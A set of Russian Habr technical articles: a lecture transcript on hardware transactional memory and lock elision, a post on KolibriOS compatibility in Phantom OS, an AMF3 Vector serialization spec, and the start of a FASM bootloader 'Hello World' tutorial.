* Открытые для исследования вопросы
### Транзакции против блокировок
Для нас транзакция — это просто блок кода, который осуществляется **атомарно**. То есть это выглядит так, будто всё в этом блоке происходит мгновенно: тот, кто будет наблюдать за состоянием мира снаружи программы, увидит состояния до и после, но никогда не увидит промежуточное состояние.
Если сформулировать это свойство другими словами, это сериализуемый код. То есть кажется, что в этом коде всё происходит по порядку, одно действие за раз. Это очень воодушевляет людей из сферы баз данных. Если вы хотите порассуждать о правильности ваших транзакций, вам не нужно беспокоиться о том, что они могут как-то перемежаться, потому что они совершаются по порядку, одно действие за раз.
Зачастую транзакции производятся спекулятивно. Это означает, что вносится некоторое количество «пробных» изменений. Эти изменения не являются постоянными. Если мы хотим сделать сделать их постоянными, то говорим об этом, и они коммитятся. То есть мы вносим пробные изменения, и если всё хорошо, то применяем транзакцию. Коммит означает, что мы делаем результат транзакции видимым миру.
Если транзакция срабатывает неуспешно, мы прерываем её. То есть существует два возможных результата транзакции: её можно закоммитить, и тогда она вступает в силу, а можно прекратить, тогда она никак и ни на что не влияет.
#### Атомарные блоки
Перед нами обычный пример атомарного блока:
```
atomic {
x.remove(3);
y.add(3);
}
atomic {
y = null;
}
```
Представьте, что у нас есть два потока, один удаляет 3 из `x` и добавляет 3 к `y`. Скажем, что мы изобрели ключевое слово atomic, и код с ним исполняется атомарно. Тогда здесь у нас простой пример того, как переместить что-то из одного контейнера в другой. Это один из тех примеров, которые, оказывается, сложно реализовать чисто с использованием блокировок.
Ещё здесь у нас есть параллельный поток, который по сути устанавливает `y` равным нулю.
Если бы это были обычные несинхронизированные блоки, тогда параллельный доступ к `y` считался бы гонкой данных. Если бы вы сделали это на C++ без синхронизации, результат вашей программы был бы не определён. На Java же атомарные блоки будут синхронизированы, и результат будет определён. Так что можно считать, что атомарные блоки относятся к синхронизированным блокам.
#### Двухсторонняя очередь
Помните, мы говорили, как сложно имплементировать что-то типа двухсторонней очереди, используя блокировки? Сейчас я покажу вам нечто вроде идеализированной методологии написания подобных структур данных с использованием транзакции. Я собираюсь написать двухстороннюю очередь так, чтобы она была длинной — тогда два потока смогут работать на обоих концах очереди без взаимных помех.
Первый шаг — это написать последовательный код.
```
public void LeftEnq(item x) {
Qnode q = new Qnode(x);
q.left = left;
left.right = q;
left = q;
}
```
Написать простой код для очереди может кто угодно. Здесь вы создаёте узел для очереди, меняете указатели и связываете их. Это стандартный последовательный код.
Второй шаг — заключить этот код в атомарный блок:
Несинхронизированный код тут не подойдёт: если параллельные постановки в очередь будут неудачно перемежаться, то случится что-то плохое. Но если мы заключим все наши шаги в атомарный блок, то все эти четыре строки произойдут вместе, и не нужно беспокоиться о корректности очереди. То есть с транзакциями вы можете писать последовательный код, помещая ядро своих операций в атомарные блоки. Система рантайма разберётся, что нужно сделать, и всё работает.
#### Предупреждение
Но не всё так просто. Не всегда получается установить атомарные блоки вокруг последовательного кода так, чтобы это всегда срабатывало. Это получается лишь в части случаев. Есть множество проблем:
* Ожидание условия (conditional wait). Помните наш поток, который был заблокирован, заглянул в буфер и сказал: «Здесь ничего нет, я снимаю блокировку»? Требуется объяснить, как это будет работать с транзакциями.
* Могут быть проблемы с ложными конфликтами. Система исполнения транзакций может усматривать конфликт между двумя операциями, когда его на самом деле нет.
* Разумеется, есть ограничения ресурсов. Мы увидим это на примере аппаратных транзакций, которые могут быть слишком большими или слишком медленными, с ними могут быть проблемы.
Тем не менее, я продолжаю утверждать, что с транзакциями жизнь проще: ваш код будет проще писать, и он с большей вероятностью окажется корректным. Лучше уж упомянутые проблемы (хотя некоторые из них вполне серьёзные), чем те, что возникают с блокировками. Решить проблемы с транзакциями проще. Транзакции не волшебные, они не избавят вас от проблем, но с ними вы будете лучше спать ночью. Я обещаю.
#### Компоновка?
Помните наш пример с компоновкой, где мы хотели совершить атомарное перемещение элемента из одной очереди в другую?
Опять же, если использовать идеализированную форму транзакций, то это очень просто:
```
public void Transfer(Queue q1, q2)
{
atomic {
T x = q1.deq();
q2.enq(x);
}
}
```
Мы просто совершаем последовательное перемещение, используем ключевое слово atomic вокруг него, и пусть система транзакций делает синхронизацию. При этом двум очередям не нужно экспортировать примитивы синхронизации, нам не нужно особенно беспокоиться, чтобы клиенты объектов следовали сложным протоколам.
#### Ожидание условия
Эта конструкция на самом деле используется в многопоточной версии Haskell, в которой есть встроенные транзакции. Идея в том, что я хочу выполнить удаление из очереди, но если нечего удалять, то пойду спать.
```
public T LeftDeq() {
atomic {
if (left == null)
retry;
…
}
}
```
Так что я использую retry, который говорит: «Я совершил эту транзакцию, мне не понравилось то, что я увидел, я скажу „откатить транзакцию обратно до вызова, а если что-то изменится, разбудить меня и попробовать снова“».
То есть здесь тот же результат, что и signal and wait в мониторе, но это гораздо проще использовать и, я думаю, это более понятно интуитивно. Ожидание монитора таит множество опасностей и ловушек, а retry поможет их избегать.
#### Компонируемое ожидание условие
Если вы хотите скомпоновать условное ожидание, можно ввести конструкцию orElse.
```
atomic {
x = q1.deq();
} orElse {
x = q2.deq();
}
```
Сначала я запущу свой первый метод qt.deq(), если там будет retry, он вернётся и скажет: «Извините, я ничего не могу здесь сделать». Тогда вы можете вернуться и попробовать второй, q2.deq(). Если у обоих будет retry, тогда retry будет у всей конструкции — она засыпает, откатывает свои результаты, ждёт изменений и затем заново запускает код. То есть снаружи это выглядит так, будто каждый раз, когда вы делаете удаление из очереди, там что-то есть.
И я утверждаю, что это гораздо проще использовать и об этом гораздо проще рассуждать, чем алгоритмы блокировок. В данный момент всё выглядит так, будто я сказал: «У нас есть волшебный атомарный дескриптор, который решит все ваши проблемы за вас, смотрите, как легко им пользоваться».
Но как это работает на самом деле? Сейчас я расскажу о том, как имплементировать атомарные транзакции в языки программирования.
### Аппаратная транзакционная память
Пойдём снизу, с железа. Как программисты вы, наверное, не слишком интересуетесь аппаратным обеспечением. Но параллельное программирование пока остаётся довольно незрелой областью, и вы не сможете писать эффективные программы, пока не поймёте кое-что о работе железа.
Есть два вида процессоров, которые поддерживают транзакционную память. В основном я буду говорить об Intel — там, начиная с Haswell, используются расширения TSX (Transactional Synchronization Extensions). Есть и другой вид аппаратного обеспечения транзакционной памяти в семействе процессоров Power. Intel больше ориентирован на мелкоструктурную параллельность, а Power — на численные вычисления.
Основная идея в том, что вы используете стандартную когерентность кэша для синхронизации. Оказывается, современные процессоры уже выполняют много контроля параллелизма, потому что им нужно управлять кэшами. И оказывается, они уже определяют конфликты синхронизации. И они уже объявляют недействительными кэшированные копии данных.
И ключевой момент для понимания мира аппаратной транзакционной памяти в том, что вы можете взять эти стандартизированные протоколы, которые существуют с прошлого века, внести небольшие изменения и получить аппаратную поддержку транзакций. Это и лежит в основе семейств аппаратной транзакционной памяти Haswell и Power.
#### Стандартная когерентность кэша
Стандартная когерентность кэша работает следующим образом. У нас есть набор процессоров, оперативная память, общая шина, которая используется для коммуникации, и есть кэши этих процессоров.
Один процессор загружает что-то, посылает сообщение на шину, память отвечает и посылает ему данные. Они оказываются в кэше процессора. Затем второй процессор тоже запрашивает эти данные. Поскольку все слушают шину, первый процессор даёт их второму.
И здесь требуется синхронизация, потому что, если один процессор изменит данные, то он должен сказать всем остальным: «Выкидывайте свои копии данных из кэша, я изменил их».
Посылать данные обратно в память слишком затратно, поэтому их держат в кэше процессора. Так что память по возможности минимально участвует в процессе — только если требуются данные, которых нет ни в одном кэше.
#### Аппаратная транзакционная память
Аппаратная транзакционная память работает почти по такому же принципу. Один процессор начинает считывать данные и помечает их в кэше: «Я считал это от имени транзакции».
Другой процессор также помечает их как транзакционные, теперь у обоих они так помечены.
В какой-то момент процессор принимает решение о коммите, тогда данные просто помечаются как не транзакционные, и другой процессор следует примеру. То есть когда вы записываете что-то, то меняете это в кэше.
Теперь давайте отмотаем назад и поговорим о том, что происходит, когда есть конфликт между транзакциями. Итак, оба процессора считали данные от имени транзакций, один процессор записал их. Он выдаёт аннулирование и первая транзакция прерывается, потому что появился конфликт синхронизации.
Как вы видите, нам нужна пара дополнительных битов в линиях кэша и пара дополнительных сообщений, и мы сможем превратить стандартную когерентность кэша в транзакционную память.
В отличие от распределённых вычислений, вы можете коммитить локально. Вам достаточно только помечать ваши транзакционные записи в кэш как валидные и не транзакционные. Так что это более эффективно, чем ваши стандарты двухфазного протокола коммита. В общем-то, вот этого достаточно понимать о том, как транзакционная память работает на уровне железа.
### Использование транзакционной памяти
Пояснение о железе потребовалось, потому что оно объясняет некоторые странные вещи, которые происходят, когда вы пишете программы. Как я уже говорил, в процессорах Blue Gene/Q, в System Z и Power8 есть форма транзакционной памяти. Сейчас я буду говорить об Intel, потому что у меня есть время поговорить только о чём-то одном.
На TSX Intel вот так вы пишете транзакцию:
```
if (_xbegin() == _XBEGIN_STARTED) {
speculative code
_xend()
} else {
abort handler
}
```
Это код на C. Вы начинаете с того, что говорите, \_xbegin() — это системный вызов, который говорит: «Я хочу начать спекулятивную транзакцию». Это немного похоже на fork() или vfork() в Unix, он возвращает код. И если вы видите в коде \_XBEGIN\_STARTED), это значит, что вы внутри транзакции. Если это происходит, вы выполняете свой спекулятивный код.
Если вы получили любой другой код, это значит, что ваша транзакция прервана. Это значит, вы попробовали выполнить свой спекулятивный код, он почему-то не сработал, и теперь вам нужно сделать что-то, чтобы восстановиться после сбоя транзакции. Вы можете попробовать ещё раз, либо попробовать что-то из следующих вариантов.
Код обычно выглядит примерно так:
```
if (_xbegin() == _XBEGIN_STARTED) {
speculative code
} else if (status & _XABORT_EXPLICIT) {
aborted by user code
} else if (status & _XABORT_CONFLICT) {
read-write conflict
} else if (status & _XABORT_CAPACITY) {
cache overflow
} else {
…
}
```
Какие варианты тут есть?
\_XABORT\_EXPLICIT: я могу вызвать \_xabort(). Мне что-то не понравилось, так что я решил прервать свою транзакцию и откатиться обратно, например, некоторое ожидание условия.
\_XABORT-CONFLICT: может быть, у меня с кем-то конфликт синхронизации, если такое происходит, возможно, мне стоит попробовать снова позже.
\_XABORT\_CAPACITY: Может быть, мой буфер переполнился, я упёрся в некий аппаратный лимит, так что, возможно, пробовать снова не лучшая идея, потому что результат будет тот же, если такое происходит.
И есть ещё много разных кодов прерывания.
Что может пойти не так, если вы используете эти механизмы в написании программы?
* **Транзакция слишком большая**. Может случиться так, что ваша транзакция окажется слишком большой, так что если ваши данные выйдут за пределы счётчика кэшей или внутренних буферов, то ваша транзакция не сработает. Так что вы должны использовать аппаратные транзакции для небольших транзакций.
* **Транзакция слишком медленная**. Если ваша транзакция слишком медленная, то прерывание по таймеру может очистить ваш кэш и ваша транзакция прервётся.
* **Транзакция просто не в настроении**. Существует множество других причин прерывания транзакции: промах TLB, исполнение неразрешённой команды, отказ страницы. Это происходит крайне редко, но это может произойти.
Так что обычно для использования аппаратной транзакционной памяти разновидности Intel применяется гибридный подход.
### Гибридная транзакционная память
Здесь мы объединим транзакционный подход с блокировками. Вот пример такой комбинации.
```
if (_xbegin() == _XBEGIN_STARTED) {
read lock state
if (lock taken) _xabort();
work;
_xend()
} else {
lock->lock();
work;
lock->unlock();
}
```
Идея следующая: я начинаю транзакцию, у меня будет блокировка, я прочитаю её состояние (`read lock state`). И как только я прочитаю его, это гарантирует, что если другой поток блокирует что-то, это прервёт мою транзакцию (`if (lock taken) _xabort();`).
Если блокировка установлена, то я откачусь и, возможно, сам установлю блокировку. Если моя транзакция прерывается, то я скажу: «Хорошо, я попробовал спекулятивный подход, может быть, здесь большая конкуренция, попробую установить блокировку в любом случае». Но если я могу исполнить код без использования блокировки, тогда моя параллельность будет лучше.
#### Пропуск блокировки
Есть паттерн «пропуск блокировки» (Lock Elision), который поддерживается на аппаратном обеспечении Intel.
```
lock();
do work;
unlock()
```
Вы устанавливаете блокировку и отправляете специальный код. В первый раз всё, что вы делаете внутри критической секции, делается спекулятивно с использованием механизма аппаратной транзакционной памяти. Если происходит сбой, то вы повторяете уже с установкой блокировки.
Хорошо то, что таким образом вы можете ускорить старый код. В том смысле, что я могу взять код, написанный задолго до того, как аппаратная транзакционная память была вообще изобретена, я могу немного изменить код установки блокировки в двоичном редакторе и я получу существенное ускорение во многих приложениях. Заметьте, что зачастую потоки, на которых установлены конфликтующие блокировки, на самом деле не конфликтуют, потому что блокировка слишком грубая.
#### Телепортация блокировки
Есть забавное использование транзакционной памяти, которую я называю «lock teleportation».
Идея тут в следующем. Есть такой общий паттерн в структурах данных, который называется «передающаяся блокировка» (hand-over-hand locking). Представьте, я иду вниз по списку, поочередёно устанавливая и снимая блокировку на разных элементах, и я могу следовать этому паттерну по мере движения. Это даёт ограниченное количество параллельности.
Если я хочу что-то убрать, я могу сделать это, используя перехватывающую блокировку.
Идея телепортации в том, что я могу комбинировать блокировки и транзакционную память различными способами. Например, могу установить блокировку и начать транзакцию, пока блокировка захвачена. Я могу считывать список и потом где-то внутри транзакции могу снять одну блокировку и установить совсем другую. И здесь преимущество в том, что не было захвачено ни одной блокировки в промежутке (от a до c):
Так что я устанавливаю одну блокировку, начинаю атомарную транзакцию, бегу по списку, устанавливаю вторую блокировку, снимаю первую блокировку, а затем фиксирую транзакцию. И снаружи это выглядит как будто блокировка мгновенно переместилась из одного конца списка в другой. И это гораздо более эффективно, чем передающаяся блокировка.
Здесь есть пара коварных моментов. Например, как далеко я хочу телепортировать блокировку? Как далеко я хочу продвинуться в чтении перед тем как переместить блокировки? Если перемещение будет слишком коротким, я упущу возможность — при ограниченной передающейся блокировке, считается, вам не нужны транзакции для удерживании одной блокировке при установке другой. А если я уйду слишком далеко, (например, переполню свой аппаратный буфер), тогда моя транзакция прервётся и весь этот труд, что я сейчас проделал, не приведёт ни к чему. Так что хитрость в том, чтобы понять, насколько телепортировать блокировку.
Есть некоторое количество мер, которые мы можем тут предпринять. Пожалуй, наиболее успешная стратегия из всех, что я видел — адаптивная телепортация:
Вы устанавливаете ограничение, насколько далеко можете продвинуться. И после каждого успешного раза говорите: «Хорошо, в следующий раз я продвинусь на один дальше». Так что если вы успешно телепортировали блокировку на 5 шагов, в следующий раз вы попробуете 6, а ещё в следующий — 7. В какой-то момент вы выйдете за пределы. В таком случае вы устанавливаете ограничение в половину того, что у вас было в последний раз, и готово.
### Вопросы для исследования
Напоследок я дам высокоуровневый короткий обзор открытых вопросов, на которые мы бы хотели знать ответы, но пока их точно не знает никто.
#### Блокировки
Как я уже говорил, одна из интересных областей — как эффективно комбинировать транзакции и блокировки. Я не думаю о транзакциях и блокировках как о врагах, оба эти механизма решают одни и те же виды задач, а их сильные и слабые стороны дополняют друг друга. И меня очень воодушевляет идея попыток понять, как их можно применять вместе, чтобы они делали друг друга сильнее.
#### Управление памятью
Одна из областей, где транзакции оказались на удивление полезными — управление памятью (как ручное, так и автоматическое). Malloc, free, сборка мусора... Если вы занимаетесь управлением памятью, то стремитесь совершать операции одного стиля, и хорошо понятно, какой объём работы вам придётся проделать. Это крайне важно, потому что программы постоянно распределяют и освобождают память. И мне кажется, транзакционная память уже показала, что может быть полезна здесь, но я считаю, что предстоит ещё много работы по улучшению.
#### БД
Базы данных — это область, где аппаратные транзакции могут быть полезны, это немного иронично, потому что мы украли идею атомарных транзакций из баз данных, но в классических базах данных совершенное другое представление о том, что такое транзакции. Транзакции оказались очень полезными для баз данных в оперативной памяти — это те базы данных, которые живут в памяти, а не на диске, они хороши для сетевой обработки транзакций, веб-серверов: Amazon, Яндекс — такого рода приложений.
#### Энергетическая эффективность
Одна область, которая мне нравится и, как мне кажется, не получает достаточно внимания, это влияние на энергоэффективность, на архитектуру. Мы с моими коллегами из инженерного отдела работали над пониманием того, что энергетически эффективнее: блокировки или транзакции. Ваша микросхема скорее перегреется, если вы используете блокировки, или транзакционную память? И транзакционная память кажется более энергетически эффективной при большинстве условий из-за спекулятивного выполнения.
#### Графические процессоры
Была проведена большая работа над аппаратными ускорителями. GPU — самый очевидный пример. Оказалось, что графические процессоры могут использовать аппаратные транзакции, опять же, они немного отличаются от многоядерных аппаратных транзакций. Но было очень полезно применять аппаратные транзакции и технологии аппаратных транзакций в графических процессорах.
#### ОС
И наконец, такие вещи как операционные системы — это большая область. Оказалось, что вы можете упрощать ядра операционных систем, драйверы устройств — разных вещей. Мне кажется, что в этой конкретной области всё ещё очень много интересных вопросов.
#### Структуры данных
Проведена большая работа со структурами данных. Если вы наивно спроектировали структуру данных, оказалось, что транзакции могут не очень хорошо работать. Например, если в вашей хэш-таблице есть счётчик, который увеличивается с каждой операцией, то у вас не выйдет много параллельности со спекулятивными транзакциями, потому что все будут конфликтовать на счётчике. Поэтому это целое искусство проектировать структуры данных так, чтобы транзакции работали.
#### Архитектура компьютера
И, конечно, есть простор для работы с архитектурой компьютера, раз уж в некотором смысле транзакционная память берёт своё начало из архитектуры компьютера.
Есть понятие «Кривая хайпа» (hype curve). Она говорит, что при появлении новой идеи люди говорят: «О! Это чудесно! Это решит все проблемы!» Это первый верхний выступ. Потом они говорят: «Ой, погодите-ка. Появляются всевозможные новые проблемы и задачи, может, это на самом деле плохо». А в итоге люди научаются решать задачи и всё становится нормально.
Этот путь прошли все мыслимые технические инновации, включая сборку мусора, виртуальную память и так далее. И я думаю, мы сейчас в той точке, где транзакции становятся нормой.
Транзакционные конструкции поддерживаются в C++, Haskell, других языках, они введены в архитектуры Intel и, очевидно, они уже никуда не денутся. Так что транзакции останутся надолго. И нам только нужно понять, как лучше их использовать.
> Если заинтересовал этот доклад, обратите внимание на **Hydra 2021**: там снова выступит Морис Херлихи, а также будет много других заметных людей из мира распределённых и многопоточных систем. Конференция пройдёт **с 15 по 18 июня в онлайне**, программу и другую информацию можно увидеть [на сайте](https://hydraconf.com/2021/msk/schedule/?utm_source=habr&utm_medium=557622).
>
> | https://habr.com/ru/post/557622/ | null | ru | null |
# Колибри для Фантома
Краткое содержание: разработка модуля совместимости с ОС Колибри внутри модуля совместимости с ОС Юникс внутри ОС Фантом)
Внутри ОС Фантом есть маленький простенький Юникс. POSIX подсистема. В принципе необязательная для работы самого Фантома и довольно неполная — Unix Quake под ней собрать удалось, а, например, апач не соберётся почти наверняка. Тем не менее — она есть.
Чтобы продолжить, надо понимать, что такое ОС Колибри. Колибри — обрусевший западный проект микро-операционки на ассемблере. Собственно, это описание довольно полно. Над Колибри работают фанаты программирования на ассемблере x86, она, соответственно, непереносима и, к сожалению, очень плохо спроектирована. Очень — это катастрофически. Для понимания масштаба бедствия — нет никакого общего механизма определения успешности или ошибочности системного вызова. Для некоторых определить несупех просто невозможно, некоторые вызовы возвращают свой личный набор кодов ошибок, некоторые — какой-то другой.
Почему же, тем не менее, любопытно реализовать слой совместимости с этой ОС? Тому несколько причин:
* Она очень компактна. Забегая вперёд — первую программу для Колибри в Фантоме удалось запустить через четыре часа работы.
* Этот мини-проект стал драйвером развития некоторых нативных подсистем Фантома,
в частности — оконной.
* Главное — всё состояние процесса Колибри, известное ядру, укладывается в небольшую структуру. Многие (почти все!) вызовы — stateless, то есть не опираются о какое-либо знание,
хранимое в ядре. Это идеальный кандидат на реализацию персистентных (переживающих перезапуск ОС) бинарных (не написанных на байткод-языке) процессов в Фантоме.
Для любопытных, [код](https://github.com/dzavalishin/phantomuserland/blob/master/oldtree/kernel/phantom/i386/kolibri.c), [хедер](https://github.com/dzavalishin/phantomuserland/blob/master/include/compat/kolibri.h).
Собственно, разработка слоя совместимости делится на несколько очевидных частей:
* Загрузчик исполняемого образа
* Точка входа в системный вызов
* «Прокладки» для системных вызовов, конвертирующие их в семантику существующих компонент системы
* Разработка недостающей функциональности
Загрузчик образа Колибри тривиален, за исключением реализации запуска запакованных программ. К сожалению, реализация распаковки по имеющимся фрагментарным спекам к успеху не привела, и найти кого-то, кто разбирается, не удалось. Непакованные программы устроены очень просто, так что детектирование и загрузка образа дополнили существующий elf-овский загрузчик без проблем. Кстати, под Фантом программы для Колибри можно компилировать и обычным elf-овским тулчейном — вне зависимости от того, какой загрузчик загрузил программу, она может обращаться и к системным вызовам POSIX, и к Колибри. Можно вперемешку )
Точка входа тоже ничего неожиданного не представляет — вызовы делаются через программное прерывание, обычный IDT gate и [небольшой ассемблерный трамплин](https://github.com/dzavalishin/phantomuserland/blob/master/oldtree/kernel/phantom/i386/intr.S#L195) решают задачу.
Основная работа, конечно, это реализация системных вызовов. Работа трудоёмкая по двум причинам — во-первых, вызовы документированы схематично, во-вторых, их создатели реально не утруждали себя какой-либо консистентностью. Для примера — вызов запроса информации о процессе в одном из полей возвращает… номер *другого* процесса, окно которого находится в заданной z-позиции на экране.
Реализация вызовов делалась по принципу «типа TDD»: вместо реализации системного вызова просто пишем в лог ошибку, запускаем прикладные программы, если вызван не реализованный системный вызов, реализуем то, что было вызвано. Так что если колл не сделан, значит я не дошёл до прикладной программы, которая в нём нуждается.
В целом вызовы делятся на несколько групп.
#### Информационные
С ними всё просто. Ещё и потому, что часть информации можно выдать в константном или фейковом виде. Хороший пример — `st->eax = dummy++; // TODO n of context switches` — возрастает, и ладно. Где возможно, конечно, информация выдаётся реальная.
#### Low-level
Колибри — система почти без защиты, процесс может очень много, в том числе — модифицировать регистры процессора, обычно доступные только ядру. Большинство таких вызовов, конечно, просто не реализованы.
#### Файловые операции
Файловые операции Колибри более-менее консистентны (как минимум, коды ошибок одни и те же), но реализация их весьма дорогостояща — все они не хранят в ядре практически никакого состояния и, де факто, сводятся к группе open / do / close. То есть, чтение из файла на каждый вызов выполняет открытие и закрытие файла. В принципе, это можно попробовать оптимизировать через hash map имени файла и держать пул открытых дескрипторов, но в скоуп проекта выходного дня это уже не входит. Я не делал. В остальном реализация более-менее тривиальна.
#### Графика
Тут я ожидал проблем. Они и были, но, в основном не столь жуткие, как могло бы случиться. Впрочем, есть ощущение, что представления авторов графической подсистемы Колибри до конца я всё равно не постиг — некоторые программы работают нормально, некоторые — странно. Увы, без того, чтобы реально читать исходники оригинальной реализации, наверное, прогресс тут невозможен, а исходники, я напомню, на ассемблере. Я не нашёл в себе достаточно куража, и остановился на том, что какое-то подмножество программ работает нормально.
Главное отличие графики Колибри в том, что ядро реализует часть традиционно прикладных компонент окна — в частности, кнопки. Готовой ответной части в оконной системе Фантома не было, пришлось писать. Очевидно, прикладной код Колибри жёстко завязан на конкретные шрифты, применённые в ядре — шрифты пришлось извлечь и конвертировать в формат оконной подсистемы Фантома, плюс несколько доработать код визуализации шрифтов. Были и другие мелочи, в целом несущественные.
#### Реализовано, но не протестировано
Колибри поддерживает несложный механизм IPC — почтовые ящики. Он реализован схематически, но подробному тестированию не подвергался. Реализован также запуск дополнительных тредов процесса — тоже без серьёзного тестирования. Кстати, не вполне очевидно, какая часть состояния ядра должна относиться к процессу, а какая к треду.
#### Отсутствует
Полностью не реализованы функции управления отображением памяти — в настоящее время ядро Фантома работает только с одним адресным пространством (процессы Юникса и Колибри поддерживаются через механизм сегментной адресации x86), поэтому их не на что отображать. В силу этого же факта трудно (хотя и можно) реализовать изменение размера адресного пространства процесса. Не реализована поддержка DLL -сама Колибри ими пользуется очень неактивно, а план был в том, чтобы сделать минимум необходимого. Впрочем, это не представляется сложным.
#### Развитие проекта
Довольно очевидно, что для продолжения работ требуется:
* Набор регресс-тестов. Желательно в виде а) внутренних юнит-тестов для компонент;
б) специальных тестовых прикладных программ и в) прогона существующих программ с контролем их работоспособности.
* Ревью кода опытным разработчиком ядра Колибри на предмет соответствия реализации оригиналу
* Ревью кода на предмет подробной верификации всех точек входа Колибри-Фантом на предмет допустимости и осмысленности параметров.
В общем, нужен герой из команды разработчиков ОС Колибри. I need a hero :) | https://habr.com/ru/post/333982/ | null | ru | null |
# AS3 Vector в AMF3: приподымаем занавес
Начиная с версии flash player 10.0, появилась поддержка нового вида списков — vector. Vector — это типизированный, упорядоченный список. Более подробно можно почитать на [сайте Adobe](http://help.adobe.com/ru_RU/FlashPlatform/reference/actionscript/3/Vector.html). Тесты показывают неплохой прирост по скорости чтения/записи по сравнению с простыми массивами. (Не так давно [soulburner](https://habrahabr.ru/users/soulburner/) опубликовал свои [тесты](http://habrahabr.ru/blogs/Flash_Platform/122401/)). К несчастью, ни одна библиотека на PHP (да в прочем и на других языках, не считая AS3) не поддерживает этот тип данных.
Немного погуглив, была найдена [статейка](http://jpauclair.net/2010/01/16/reverse-engineering-amf3-vector-for-java/), в которой описывается десериализация векторов на java. Оказывается всё не так уж и плохо: существует четыре дополнительных маркера для `Vector.`, `Vector.`, `Vector.` и `Vector.`. Но у меня так и не получилось полностью портировать код — сервер никак не мог десериализовать вектор объектов (с числовым типами всё было в порядке). В итоге пришлось поставить xdebug и начать самому искать «где собака зарыта». Как я и подозревал, автор той статьи неправильно реализовал парсинг вектора объектов и немного некорректно парсинг числовых векторов.
##### Спецификация векторов
Adobe выпустила [спецификацию протокола AMF3](http://opensource.adobe.com/wiki/download/attachments/1114283/amf3_spec_05_05_08.pdf), но забыла (или не захотела) обновить её после появления векторов. Ниже можно увидеть дополнение спецификации, касающееся векторов.
---
```
S32 = An signed 32-bit integer in big endian (network) byte order
vector-type = vector-int-type | vector-uint-type | vector-number-type |
vector-object-type | vector-other-type
value-type =| vector-type
vector-int-marker = 0x0D
vector-uint-marker = 0x0E
vector-number-marker = 0x0F
vector-object-marker = 0x10
U29V-len = U29 ; The first (low) bit is a flag with value 1.
; The remaining 1 to 28 significant bits are used to encode
; the length of the vector
vector-fixed-flag = U8
vector-int-type = vector-int-marker (U29O-ref | U29V-length vector-fixed-flag *(S32))
vector-uint-type = vector-uint-marker (U29O-ref | U29V-length vector-fixed-flag *(U32))
vector-number-type = vector-number-marker (U29O-ref | U29V-length vector-fixed-flag *(DOUBLE))
vector-object-type = vec tor-object-marker (U29O-ref | U29V-length vector-fixed-flag class-name
*(null-type | object-type))
vector-other-type = vector-object-marker (U29O-ref | U29V-length vector-fixed-flag UTF-8-empty
*(null-type | false-type | true-type | array-type | string-type |
vector-type | date-type | byte-array-type))
```
---
Как видно, было добавлено 4 дополнительных маркера: 3 специальных для числовых значений и один для всего остального.
***Замечание.** На самом деле спецификация не совсем верная, а именно `vector-other-type` правило. По спецификации получается, что такой вектор может содержать одновременно все перечисленные типы, но на самом деле только один из перечисленных типов. И только `null-type` может использоваться одновременно с остальными типами. К сожалению я не знаю как указать такое правило с помощью ABNF.*
##### Числовые векторы
С ними всё просто. Читаем длину вектора, `fixed` флаг, и N значений (`int`, `uint` или `double`). Если честно, меня удивило то, что эти три вектора были вынесены, особенно на фоне того что вектора строк и буленов кодируются как вектора объектов (об этом чуть ниже).
##### Вектор объектов
Точно такой же как и числовые векторы. Единственное отличие — дополнительный параметр `class-name`, имя класса, объекты которого содержит вектор. `class-name` может быть пустым, подразумевая под собой `Object`.
##### Вектора строк, буленов, массивов, векторов
Я был неприятно удивлен тому, как кодируются векторы для остальных «спец-типов». Для них используется маркер вектора объектов с пустой строкой вместо `class-name`. А значит без данных невозможно узнать, что именно содержит вектор, т.е. невозможно узнать, что за вектор приехал, если он пустой.
##### Реализация
Из-за таких векторов для «особых типов данных» я и столкнулся с трудностями в реализации поддержки векторов для PHP. Проблема заключается именно в строгой типизации векторов — вектор может хранить только один тип данных. Тут меня разрывало между 2-мя способами реализации:
— простой, но тупой контейнер для массивов
— typesafe вектора
С первым всё просто, но хочется второго. В итоге патч для Zend\_Amf так и не был написан, потому что я покинул компанию, на которую работал. А сейчас нет времени закончить его. Поэтому решил просто выложить спецификацию. Я уверен найдётся много желающих, готовых реализовать поддержку векторов в Zend\_Amf, AMFPHP, WebORB, PyAMF и остальных.
##### P.S.
Спецификация не проходила тщательного тестирования, поэтому она вполне может быть не полной. Буду рад любым поправкам. | https://habr.com/ru/post/122178/ | null | ru | null |
# Пишем операционную систему. Часть 1. Загрузчик
Всем привет! Сегодня мы напишем загрузчик, который будет выводить «Hello World» и запустим его на VirtualBox. Писать будем на ассемблере FASM. Скачать его можно [отсюда](https://flatassembler.net/download.php). Также нам понадобится собственно [VirtualBox](https://www.virtualbox.org/wiki/Downloads) и [UltraISO](https://www.softportal.com/software-2464-ultraiso.html). Перед тем как писать код, разберемся как загружаются операционные системы.
Итак, когда мы нажимаем большую кнопку включения на нашем компьютере запускается система, которая есть на любом компьютере — BIOS (Basic Input/Output System или базовая система ввода/вывода). Задача BIOS это:
1. Обнаружить все подключенные устройства и проверить их на работоспособность. За это отвечает программа POST (Power On Self Test, самотестирование при включении). Если жизненно необходимое железо не обнаружено, то системный динамик (если таковой имеется) пропищит что-то непонятное и дальше загрузка не пойдет.
2. Предоставить операционной системе функции для работы с железом.
3. Считать самый первый сектор загрузочного устройства в нулевой сегмент оперативной памяти по смещению 0x7C00h и передать туда управление. 1 сектор на диске равен 512 байтам. Поэтому, наш загрузчик не должен превышать 512 байт. BIOS определяет, что сектор загрузочный по наличию в последних двух его байтах значений 0x55 и 0xAA.
Теперь можно приступать к написанию кода. Запускаем файл FASMW.EXE, который находится в архиве с FASM-мом и вставляем туда следующий код:
```
org 7C00h
start:
cli ;Запрещаем прерывания (чтобы ничего не отвлекало)
xor ax, ax ;Обнуляем регистр ax
mov ds, ax ;Настраиваем dataSegment на нулевой адрес
mov es, ax ;Настраиваем сегмент es на нулевой адрес
mov ss, ax ;Настраиваем StackSegment на нулевой адрес
mov sp, 07C00h ;Указываем на текущую вершину стека
sti ;Запрещаем прерывания
;Очищаем экран
mov ax, 3
int 10h
mov ah, 2h
mov dh, 0
mov dl, 0
xor bh, bh
int 10h
;Печатаем строку
mov ax, 1301h
mov bp, message
mov cx, 12
mov bl, 02h
int 10h
jmp $
message db 'Hello World!',0
times 510 - ($ - $$) db 0 ;Заполнение оставшихся байт нулями до 510-го байта
db 0x55, 0xAA ;Загрузочная сигнатура
```
Этот код требует немного пояснений. Командой
```
org 7C00h
```
мы говорим, что код нужно загружать в ОЗУ по адресу 0x7C00. В строках
```
mov ax, 3
int 10h
```
